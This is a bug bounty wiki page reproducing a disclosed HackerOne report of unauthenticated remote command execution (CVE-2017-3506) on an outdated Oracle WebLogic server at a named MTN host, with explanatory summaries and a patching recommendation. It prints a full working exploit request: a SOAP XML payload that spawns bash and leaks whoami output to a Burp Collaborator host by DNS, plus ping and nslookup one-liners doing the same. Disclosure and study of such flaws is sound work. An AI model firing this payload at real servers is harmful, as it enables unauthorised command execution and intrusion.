Skip to content
RCE Disclosed report Intermediate CVE-2017-3506

Remote OS Command Execution on Oracle Weblogic server via [CVE-2017-3506]

An outdated Oracle WebLogic instance exposed a SOAP web services endpoint that accepted a crafted XML request, letting an unauthenticated attacker run operating system commands on the server. The reporter confirmed command execution by causing the server to make an outbound DNS lookup to a collaborator host.

tounsi_007 Follow

Originally disclosed on HackerOne

Critical 9.8 View original
  • Triaged in 8 days
  • Fixed in 33 days
  • Disclosed after 14 months

Summary by the researcher

CVE-2017-3506 :

  • Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data.

The report

##Summary

Hello. I was able to identify RCE vulnerability due to the outdated Oracle Weblogic instance on https://raebilling.mtn.co.za.

##Steps To Reproduce

  • To reproduce, try this request with BurpSuite
  • This request to the https://raebilling.mtn.co.za/wls-wsat/RegistrationRequesterPortType will trigger Remote OS Command Execution:
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: raebilling.mtn.co.za
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Accept-Languag: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3,
Content-Type: text/xml;charset=UTF-8
Content-Length: 873

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
        <void index="2">
                  <string>ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

==Note:==

  • To reproduce this case with nslookup or ping, fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net host should be replaced by your own Burp Collaborator instance or with your private VPS IP to catch the DNS request

##Example:

ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net
nslookup `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net

==POC:==

RCE_3506_whoami.png
RCE_3506_whoami.png From the original on HackerOne

Suggested Mitigation/Remediation Actions

  • Patching WebLogic to the recent version will fix the issue.

Impact

This vulnerability allow an unauthenticated attacker:

  • To perform Remote OS Command Execution

The original report as published on HackerOne, by tounsi_007. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server ran an unpatched WebLogic version whose WLS-WSAT web services component deserialises attacker-supplied XML into Java objects, allowing command execution.

Impact

An unauthenticated attacker with network access could run operating system commands on the WebLogic server.

What the attacker needed

Network access to the WebLogic server; no authentication needed

The fix

The report says patching WebLogic to a recent version fixes the issue.

How it was found

  1. Send a crafted XML request to the WLS-WSAT registration endpoint, for example with Burp Suite.
  2. Replace the collaborator host in the request with your own collaborator or VPS address.
  3. Watch for the incoming DNS request to confirm the command ran.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WebLogic is a Java application server. An old version of it had a public flaw where a specially formed XML message sent to a web services address made the server run commands chosen by the sender. Because no login was needed, anyone who could reach that address could run commands on the machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by tounsi_007

View all

2 more disclosed reports, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.